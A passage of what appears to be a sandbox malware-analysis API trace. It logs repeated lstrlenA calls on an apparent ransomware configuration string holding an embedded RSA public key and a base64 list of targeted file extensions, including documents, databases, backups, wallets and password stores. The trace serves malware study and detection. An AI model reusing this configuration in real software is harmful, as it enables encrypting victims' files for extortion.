udmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCA